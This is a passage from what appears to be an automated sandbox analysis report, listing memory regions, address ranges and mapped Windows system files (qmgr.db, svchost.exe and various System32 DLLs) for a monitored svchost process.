0x0 region_type = pagefile_backed name = "pagefile_0x0000000008580000" filename = "" Region: id = 789 start_va = 0x8590000 end_va = 0x860ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008590000" filename = "" Region: id = 790 start_va = 0x8610000 end_va = 0x8611fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008610000" filename = "" Region: id = 791 start_va = 0x8680000 end_va = 0x86fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008680000" filename = "" Region: id = 792 start_va = 0x8700000 end_va = 0x87fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008700000" filename = "" Region: id = 793 start_va = 0x8800000 end_va = 0x88fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008800000" filename = "" Region: id = 794 start_va = 0x8900000 end_va = 0x897ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008900000" filename = "" Region: id = 795 start_va = 0x8980000 end_va = 0x89dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008980000" filename = "" Region: id = 796 start_va = 0x89e0000 end_va = 0x89effff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "qmgr.db" filename = "\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.db") Region: id = 797 start_va = 0x89f0000 end_va = 0x89fffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "qmgr.db" filename = "\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.db") Region: id = 798 start_va = 0x8a00000 end_va = 0x8bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008a00000" filename = "" Region: id = 799 start_va = 0x8c00000 end_va = 0x8c0ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "qmgr.db" filename = "\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.db") Region: id = 800 start_va = 0x8c10000 end_va = 0x8c1ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "qmgr.db" filename = "\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.db") Region: id = 801 start_va = 0x8c20000 end_va = 0x8c2ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "qmgr.db" filename = "\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.db") Region: id = 802 start_va = 0x8c30000 end_va = 0x8c3ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "qmgr.db" filename = "\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.db") Region: id = 803 start_va = 0x8c40000 end_va = 0x8c4ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "qmgr.db" filename = "\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.db") Region: id = 804 start_va = 0x8c50000 end_va = 0x8c5ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "qmgr.db" filename = "\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.db") Region: id = 805 start_va = 0x8c60000 end_va = 0x8c6ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "qmgr.db" filename = "\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.db") Region: id = 806 start_va = 0x8c70000 end_va = 0x8c7ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "qmgr.db" filename = "\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.db") Region: id = 807 start_va = 0x8c80000 end_va = 0x8c8ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "qmgr.db" filename = "\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.db") Region: id = 808 start_va = 0x8c90000 end_va = 0x8c9ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "qmgr.db" filename = "\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.db") Region: id = 809 start_va = 0x8ca0000 end_va = 0x8caffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "qmgr.db" filename = "\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.db") Region: id = 810 start_va = 0x8cb0000 end_va = 0x8cbffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "qmgr.db" filename = "\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.db") Region: id = 811 start_va = 0x8cc0000 end_va = 0x8ccffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "qmgr.db" filename = "\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.db") Region: id = 812 start_va = 0x8cd0000 end_va = 0x8cdffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "qmgr.db" filename = "\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.db") Region: id = 813 start_va = 0x8cf0000 end_va = 0x8cf1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008cf0000" filename = "" Region: id = 814 start_va = 0x8d00000 end_va = 0x8d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008d00000" filename = "" Region: id = 815 start_va = 0x8d80000 end_va = 0x8dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008d80000" filename = "" Region: id = 816 start_va = 0x8e00000 end_va = 0x8ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008e00000" filename = "" Region: id = 817 start_va = 0x9000000 end_va = 0x90fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009000000" filename = "" Region: id = 818 start_va = 0x9100000 end_va = 0x917ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009100000" filename = "" Region: id = 819 start_va = 0x9180000 end_va = 0x927ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009180000" filename = "" Region: id = 820 start_va = 0x9280000 end_va = 0x928ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "qmgr.db" filename = "\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.db") Region: id = 821 start_va = 0x9290000 end_va = 0x929ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "qmgr.db" filename = "\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.db") Region: id = 822 start_va = 0x92a0000 end_va = 0x92affff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "qmgr.db" filename = "\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.db") Region: id = 823 start_va = 0x92b0000 end_va = 0x93affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000092b0000" filename = "" Region: id = 824 start_va = 0x9400000 end_va = 0x95fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009400000" filename = "" Region: id = 825 start_va = 0x9600000 end_va = 0x967ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009600000" filename = "" Region: id = 826 start_va = 0x9680000 end_va = 0x977ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009680000" filename = "" Region: id = 827 start_va = 0x9800000 end_va = 0x98fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009800000" filename = "" Region: id = 828 start_va = 0x9900000 end_va = 0x99fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009900000" filename = "" Region: id = 829 start_va = 0xa000000 end_va = 0xaffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a000000" filename = "" Region: id = 830 start_va = 0x7ffe0000 end_va = 0x7ffe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 831 start_va = 0x7ff4fde90000 end_va = 0x7ff4fdf8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff4fde90000" filename = "" Region: id = 832 start_va = 0x7ff4fdf90000 end_va = 0x7ff5fdfaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff4fdf90000" filename = "" Region: id = 833 start_va = 0x7ff5fdfb0000 end_va = 0x7ff5fffb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5fdfb0000" filename = "" Region: id = 834 start_va = 0x7ff5fffc0000 end_va = 0x7ff5fffc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5fffc0000" filename = "" Region: id = 835 start_va = 0x7ff5fffd0000 end_va = 0x7ff5ffff2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5fffd0000" filename = "" Region: id = 836 start_va = 0x7ff612ac0000 end_va = 0x7ff612ad0fff monitored = 0 entry_point = 0x7ff612ac4e80 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 837 start_va = 0x7fff98510000 end_va = 0x7fff9873cfff monitored = 0 entry_point = 0x7fff98562e50 region_type = mapped_file name = "wlidsvc.dll" filename = "\\Windows\\System32\\wlidsvc.dll" (normalized: "c:\\windows\\system32\\wlidsvc.dll") Region: id = 838 start_va = 0x7fffa8db0000 end_va = 0x7fffa8dc8fff monitored = 0 entry_point = 0x7fffa8db4310 region_type = mapped_file name = "elscore.dll" filename = "\\Windows\\System32\\ELSCore.dll" (normalized: "c:\\windows\\system32\\elscore.dll") Region: id = 839 start_va = 0x7fffab140000 end_va = 0x7fffab1bffff monitored = 0 entry_point = 0x7fffab14b5b0 region_type = mapped_file name = "wuuhext.dll" filename = "\\Windows\\System32\\wuuhext.dll" (normalized: "c:\\windows\\system32\\wuuhext.dll") Region: id = 840 start_va = 0x7fffab1c0000 end_va = 0x7fffab4f9fff monitored = 0 entry_point = 0x7fffab2ca560 region_type = mapped_file name = "wuaueng.dll" filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll") Region: id = 841 start_va = 0x7fffabae0000 end_va = 0x7fffabc4afff monitored = 0 entry_point = 0x7fffabb36ea0 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 842 start_va = 0x7fffac4b0000 end_va = 0x7fffac75afff monitored = 0 entry_point = 0x7fffac4d60c0 region_type = mapped_file name = "wsmsvc.dll" filename = "\\Windows\\System32\\WsmSvc.dll" (normalized: "c:\\windows\\system32\\wsmsvc.dll") Region: id = 843 start_va = 0x7fffad1f0000 end_va = 0x7fffad296fff monitored = 0 entry_point = 0x7fffad272140 region_type = mapped_file name = "wpnprv.dll" filename = "\\Windows\\System32\\wpnprv.dll" (normalized: "c:\\windows\\system32\\wpnprv.dll") Region: id = 844 start_va = 0x7fffadef0000 end_va = 0x7fffadf08fff monitored = 0 entry_point = 0x7fffadef1870 region_type = mapped_file name = "wups.dll" filename = "\\Windows\\System32\\wups.dll" (normalized: "c:\\windows\\system32\\wups.dll") Region: id = 845 start_va = 0x7fffadf60000 end_va = 0x7fffadfc7fff monitored = 0 entry_point = 0x7fffadf63d20 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 846 start_va = 0x7fffadfd0000 end_va = 0x7fffae00ffff monitored = 0 entry_point = 0x7fffadff8030 region_type = mapped_file name = "wuuhosdeployment.dll" filename = "\\Windows\\System32\\wuuhosdeployment.dll" (normalized: "c:\\windows\\system32\\wuuhosdeployment.dll") Region: id = 847 start_va = 0x7fffae040000 end_va = 0x7fffae06ffff monitored = 0 entry_point = 0x7fffae0532c0 region_type = mapped_file name = "wsmauto.dll" filename = "\\Windows\\System32\\WsmAuto.dll" (normalized: "c:\\windows\\system32\\wsmauto.dll") Region: id = 848 start_va = 0x7fffae290000 end_va = 0x7fffae372fff monitored = 0 entry_point = 0x7fffae2b2160 region_type = mapped_file name = "wuapi.dll" filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll") Region: id = 849 start_va = 0x7fffaec50000 end_va = 0x7fffaec6afff monitored = 0 entry_point = 0x7fffaec559c0 region_type = mapped_file name = "tbs.dll" filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll") Region: id = 850 start_va = 0x7fffaed60000 end_va = 0x7fffaed77fff monitored = 0 entry_point = 0x7fffaed63e90 region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 851 start_va = 0x7fffaed90000 end_va = 0x7fffaedb8fff monitored = 0 entry_point = 0x7fffaeda4f80 region_type = mapped_file name = "windows.networking.sockets.pushenabledapplication.dll" filename = "\\Windows\\System32\\Windows.Networking.Sockets.PushEnabledApplication.dll" (normalized: "c:\\windows\\system32\\windows.networking.sockets.pushenabledapplication.dll") Region: id = 852 start_va = 0x7fffaee60000 end_va = 0x7fffaeebefff monitored = 0 entry_point = 0x7fffaee892a0 region_type = mapped_file name = "pushtoinstall.dll" filename = "\\Windows\\System32\\PushToInstall.dll" (normalized: "c:\\windows\\system32\\pushtoinstall.dll") Region: id = 853 start_va = 0x7fffaf150000 end_va = 0x7fffaf241fff monitored = 0 entry_point = 0x7fffaf168ad0 region_type = mapped_file name = "windows.security.authentication.onlineid.dll" filename = "\\Windows\\System32\\Windows.Security.Authentication.OnlineId.dll" (normalized: "c:\\windows\\system32\\windows.security.authentication.onlineid.dll") Region: id = 854 start_va = 0x7fffb1820000 end_va = 0x7fffb1830fff monitored = 0 entry_point = 0x7fffb1826910 region_type = mapped_file name = "dusmapi.dll" filename = "\\Windows\\System32\\dusmapi.dll" (normalized: "c:\\windows\\system32\\dusmapi.dll") Region: id = 855 start_va = 0x7fffb2f50000 end_va = 0x7fffb2f89fff monitored = 0 entry_point = 0x7fffb2f58d70 region_type = mapped_file name = "appinfo.dll" filename = "\\Windows\\System32\\appinfo.dll" (normalized: "c:\\windows\\system32\\appinfo.dll") Region: id = 856 start_va = 0x7fffb3040000 end_va = 0x7fffb3070fff monitored = 0 entry_point = 0x7fffb304e9a0 region_type = mapped_file name = "cryptnet.dll" filename = "\\Windows\\System32\\cryptnet.dll" (normalized: "c:\\windows\\system32\\cryptnet.dll") Region: id = 857 start_va = 0x7fffb3940000 end_va = 0x7fffb39affff monitored = 0 entry_point = 0x7fffb3953d40 region_type = mapped_file name = "cryptngc.dll" filename = "\\Windows\\System32\\cryptngc.dll" (normalized: "c:\\windows\\system32\\cryptngc.dll") Region: id = 858 start_va = 0x7fffb4270000 end_va = 0x7fffb42f2fff monitored = 0 entry_point = 0x7fffb42977a0 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 859 start_va = 0x7fffb4300000 end_va = 0x7fffb4317fff monitored = 0 entry_point = 0x7fffb4305be0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 860 start_va = 0x7fffb4320000 end_va = 0x7fffb43f6fff monitored = 0 entry_point = 0x7fffb43434d0 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 861 start_va = 0x7fffb4400000 end_va = 0x7fffb4409fff monitored = 0 entry_point = 0x7fffb4401390 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 862 start_va = 0x7fffb4410000 end_va = 0x7fffb4453fff monitored = 0 entry_point = 0x7fffb442f4d0 region_type = mapped_file name = "mpoav.dll" filename = "\\Program Files\\Windows Defender\\MpOAV.dll" (normalized: "c:\\program files\\windows defender\\mpoav.dll") Region: id = 863 start_va = 0x7fffb4460000 end_va = 0x7fffb4476fff monitored = 0 entry_point = 0x7fffb44681c0 region_type = mapped_file name = "amsi.dll" filename = "\\Windows\\System32\\amsi.dll" (normalized: "c:\\windows\\system32\\amsi.dll") Region: id = 864 start_va = 0x7fffb46e0000 end_va = 0x7fffb4749fff monitored = 0 entry_point = 0x7fffb46fbb20 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 865 start_va = 0x7fffb4750000 end_va = 0x7fffb4777fff monitored = 0 entry_point = 0x7fffb4759440 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 866 start_va = 0x7fffb4780000 end_va = 0x7fffb4793fff monitored = 0 entry_point = 0x7fffb4781800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 867 start_va = 0x7fffb47a0000 end_va = 0x7fffb481cfff monitored = 0 entry_point = 0x7fffb47b5a80 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 868 start_va = 0x7fffb4820000 end_va = 0x7fffb492afff monitored = 0 entry_point = 0x7fffb4855c10 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 869 start_va = 0x7fffb4930000 end_va = 0x7fffb4b0dfff monitored = 0 entry_point = 0x7fffb49603e0 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 870 start_va = 0x7fffb4d40000 end_va = 0x7fffb4d50fff monitored = 0 entry_point = 0x7fffb4d42aa0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 871 start_va = 0x7fffb5030000 end_va = 0x7fffb528dfff monitored = 0 entry_point = 0x7fffb5098a80 region_type = mapped_file name = "msxml6.dll" filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll") Region: id = 872 start_va = 0x7fffb7fd0000 end_va = 0x7fffb8113fff monitored = 0 entry_point = 0x7fffb7febfd0 region_type = mapped_file name = "wpnapps.dll" filename = "\\Windows\\System32\\wpnapps.dll" (normalized: "c:\\windows\\system32\\wpnapps.dll") Region: id = 873 start_va = 0x7fffb8390000 end_va = 0x7fffb83e0fff monitored = 0 entry_point = 0x7fffb83a9730 region_type = mapped_file name = "vaultcli.dll" filename = "\\Windows\\System32\\vaultcli.dll" (normalized: "c:\\windows\\system32\\vaultcli.dll") Region: id = 874 start_va = 0x7fffb8bb0000 end_va = 0x7fffb8bc7fff monitored = 0 entry_point = 0x7fffb8bb1bf0 region_type = mapped_file name = "execmodelproxy.dll" filename = "\\Windows\\System32\\execmodelproxy.dll" (normalized: "c:\\windows\\system32\\execmodelproxy.dll") Region: id = 875 start_va = 0x7fffb8f20000 end_va = 0x7fffb8ffefff monitored = 0 entry_point = 0x7fffb8f5edd0 region_type = mapped_file name = "appcontracts.dll" filename = "\\Windows\\System32\\AppContracts.dll" (normalized: "c:\\windows\\system32\\appcontracts.dll") Region: id = 876 start_va = 0x7fffb9010000 end_va = 0x7fffb902ffff monitored = 0 entry_point = 0x7fffb9018480 region_type = mapped_file name = "windows.staterepositorybroker.dll" filename = "\\Windows\\System32\\Windows.StateRepositoryBroker.dll" (normalized: "c:\\windows\\system32\\windows.staterepositorybroker.dll") Region: id = 877 start_va = 0x7fffb97a0000 end_va = 0x7fffb9848fff monitored = 0 entry_point = 0x7fffb97a9a00 region_type = mapped_file name = "wlidprov.dll" filename = "\\Windows\\System32\\wlidprov.dll" (normalized: "c:\\windows\\system32\\wlidprov.dll") Region: id = 878 start_va = 0x7fffb9a00000 end_va = 0x7fffb9a58fff monitored = 0 entry_point = 0x7fffb9a0daa0 region_type = mapped_file name = "execmodelclient.dll" filename = "\\Windows\\System32\\ExecModelClient.dll" (normalized: "c:\\windows\\system32\\execmodelclient.dll") Region: id = 879 start_va = 0x7fffb9c30000 end_va = 0x7fffb9c42fff monitored = 0 entry_point = 0x7fffb9c318a0 region_type = mapped_file name = "tokenbinding.dll" filename = "\\Windows\\System32\\tokenbinding.dll" (normalized: "c:\\windows\\system32\\tokenbinding.dll") Region: id = 880 start_va = 0x7fffb9c50000 end_va = 0x7fffb9dcafff monitored = 0 entry_point = 0x7fffb9c8a620 region_type = mapped_file name = "tokenbroker.dll" filename = "\\Windows\\System32\\TokenBroker.dll" (normalized: "c:\\windows\\system32\\tokenbroker.dll") Region: id = 881 start_va = 0x7fffb9f50000 end_va = 0x7fffb9f86fff monitored = 0 entry_point = 0x7fffb9f58c10 region_type = mapped_file name = "appextension.dll" filename = "\\Windows\\System32\\AppExtension.dll" (normalized: "c:\\windows\\system32\\appextension.dll") Region: id = 882 start_va = 0x7fffba0c0000 end_va = 0x7fffba0e0fff monitored = 0 entry_point = 0x7fffba0c53e0 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 883 start_va = 0x7fffba0f0000 end_va = 0x7fffba19efff monitored = 0 entry_point = 0x7fffba15f1c0 region_type = mapped_file name = "upshared.dll" filename = "\\Windows\\System32\\upshared.dll" (normalized: "c:\\windows\\system32\\upshared.dll") Region: id = 884 start_va = 0x7fffbad10000 end_va = 0x7fffbadc7fff monitored = 0 entry_point = 0x7fffbad1d870 region_type = mapped_file name = "windows.networking.connectivity.dll" filename = "\\Windows\\System32\\Windows.Networking.Connectivity.dll" (normalized: "c:\\windows\\system32\\windows.networking.connectivity.dll") Region: id = 885 start_va = 0x7fffbadd0000 end_va = 0x7fffbae0efff monitored = 0 entry_point = 0x7fffbadf7d00 region_type = mapped_file name = "wosc.dll" filename = "\\Windows\\System32\\wosc.dll" (normalized: "c:\\windows\\system32\\wosc.dll") Region: id = 886 start_va = 0x7fffbaf10000 end_va = 0x7fffbaf2cfff monitored = 0 entry_point = 0x7fffbaf128d0 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 887 start_va = 0x7fffbaf60000 end_va = 0x7fffbaf74fff monitored = 0 entry_point = 0x7fffbaf62930 region_type = mapped_file name = "mskeyprotect.dll" filename = "\\Windows\\System32\\mskeyprotect.dll" (normalized: "c:\\windows\\system32\\mskeyprotect.dll") Region: id = 888 start_va = 0x7fffbaf80000 end_va = 0x7fffbafa7fff monitored = 0 entry_point = 0x7fffbaf82d90 region_type = mapped_file name = "dssenh.dll" filename = "\\Windows\\System32\\dssenh.dll" (normalized: "c:\\windows\\system32\\dssenh.dll") Region: id = 889 start_va = 0x7fffbafb0000 end_va = 0x7fffbb009fff monitored = 0 entry_point = 0x7fffbafbb560 region_type = mapped_file name = "ncryptprov.dll" filename = "\\Windows\\System32\\ncryptprov.dll" (normalized: "c:\\windows\\system32\\ncryptprov.dll") Region: id = 890 start_va = 0x7fffbb010000 end_va = 0x7fffbb035fff monitored = 0 entry_point = 0x7fffbb0172c0 region_type = mapped_file name = "ncryptsslp.dll" filename = "\\Windows\\System32\\ncryptsslp.dll" (normalized: "c:\\windows\\system32\\ncryptsslp.dll") Region: id = 891 start_va = 0x7fffbb330000 end_va = 0x7fffbb523fff monitored = 0 entry_point = 0x7fffbb3b4bf0 region_type = mapped_file name = "windows.cloudstore.dll" filename = "\\Windows\\System32\\Windows.CloudStore.dll" (normalized: "c:\\windows\\system32\\windows.cloudstore.dll") Region: id = 892 start_va = 0x7fffbb530000 end_va = 0x7fffbb546fff monitored = 0 entry_point = 0x7fffbb53c6a0 region_type = mapped_file name = "keepaliveprovider.dll" filename = "\\Windows\\System32\\keepaliveprovider.dll" (normalized: "c:\\windows\\system32\\keepaliveprovider.dll") Region: id = 893 start_va = 0x7fffbbc40000 end_va = 0x7fffbbf6afff monitored = 0 entry_point = 0x7fffbbcdaa20 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 894 start_va = 0x7fffbc070000 end_va = 0x7fffbc09afff monitored = 0 entry_point = 0x7fffbc076c40 region_type = mapped_file name = "idstore.dll" filename = "\\Windows\\System32\\IDStore.dll" (normalized: "c:\\windows\\system32\\idstore.dll") Region: id = 895 start_va = 0x7fffbc110000 end_va = 0x7fffbc19efff monitored = 0 entry_point = 0x7fffbc162170 region_type = mapped_file name = "usosvc.dll" filename = "\\Windows\\System32\\usosvc.dll" (normalized: "c:\\windows\\system32\\usosvc.dll") Region: id = 896 start_va = 0x7fffbc1a0000 end_va = 0x7fffbc1a6fff monitored = 0 entry_point = 0x7fffbc1a1320 region_type = mapped_file name = "gamestreamingext.dll" filename = "\\Windows\\System32\\gamestreamingext.dll" (normalized: "c:\\windows\\system32\\gamestreamingext.dll") Region: id = 897 start_va = 0x7fffbc500000 end_va = 0x7fffbc50afff monitored = 0 entry_point = 0x7fffbc502ab0 region_type = mapped_file name = "msauserext.dll" filename = "\\Windows\\System32\\msauserext.dll" (normalized: "c:\\windows\\system32\\msauserext.dll") Region: id = 898 start_va = 0x7fffbceb0000 end_va = 0x7fffbcf92fff monitored = 0 entry_point = 0x7fffbcec49e0 region_type = mapped_file name = "windows.applicationmodel.dll" filename = "\\Windows\\System32\\Windows.ApplicationModel.dll" (normalized: "c:\\windows\\system32\\windows.applicationmodel.dll") Region: id = 899 start_va = 0x7fffbd630000 end_va = 0x7fffbd64dfff monitored = 0 entry_point = 0x7fffbd634a70 region_type = mapped_file name = "adhsvc.dll" filename = "\\Windows\\System32\\adhsvc.dll" (normalized: "c:\\windows\\system32\\adhsvc.dll") Region: id = 900 start_va = 0x7fffbd650000 end_va = 0x7fffbd672fff monitored = 0 entry_point = 0x7fffbd654e70 region_type = mapped_file name = "httpprxm.dll" filename = "\\Windows\\System32\\httpprxm.dll" (normalized: "c:\\windows\\system32\\httpprxm.dll") Region: id = 901 start_va = 0x7fffbd680000 end_va = 0x7fffbd787fff monitored = 0 entry_point = 0x7fffbd7121f0 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 902 start_va = 0x7fffbd790000 end_va = 0x7fffbd82bfff monitored = 0 entry_point = 0x7fffbd7df900 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 903 start_va = 0x7fffbd830000 end_va = 0x7fffbd855fff monitored = 0 entry_point = 0x7fffbd831a90 region_type = mapped_file name = "netsetupapi.dll" filename = "\\Windows\\System32\\NetSetupApi.dll" (normalized: "c:\\windows\\system32\\netsetupapi.dll") Region: id = 904 start_va = 0x7fffbdc30000 end_va = 0x7fffbdc60fff monitored = 1 entry_point = 0x7fffbdc32ef0 region_type = mapped_file name = "wmidcom.dll" filename = "\\Windows\\System32\\wmidcom.dll" (normalized: "c:\\windows\\system32\\wmidcom.dll") Region: id = 905 start_va = 0x7fffbdc70000 end_va = 0x7fffbdccffff monitored = 0 entry_point = 0x7fffbdc729d0 region_type = mapped_file name = "miutils.dll" filename = "\\Windows\\System32\\miutils.dll" (normalized: "c:\\windows\\system32\\miutils.dll") Region: id = 906 start_va = 0x7fffbdcd0000 end_va = 0x7fffbdcf2fff monitored = 0 entry_point = 0x7fffbdcd20b0 region_type = mapped_file name = "mi.dll" filename = "\\Windows\\System32\\mi.dll" (normalized: "c:\\windows\\system32\\mi.dll") Region: id = 907 start_va = 0x7fffbdd00000 end_va = 0x7fffbdd10fff monitored = 0 entry_point = 0x7fffbdd01970 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 908 start_va = 0x7fffbdd20000 end_va = 0x7fffbddfafff monitored = 0 entry_point = 0x7fffbddc4140 region_type = mapped_file name = "winsqlite3.dll" filename = "\\Windows\\System32\\winsqlite3.dll" (normalized: "c:\\windows\\system32\\winsqlite3.dll") Region: id = 909 start_va = 0x7fffbde00000 end_va = 0x7fffbdf73fff monitored = 0 entry_point = 0x7fffbde4d6e0 region_type = mapped_file 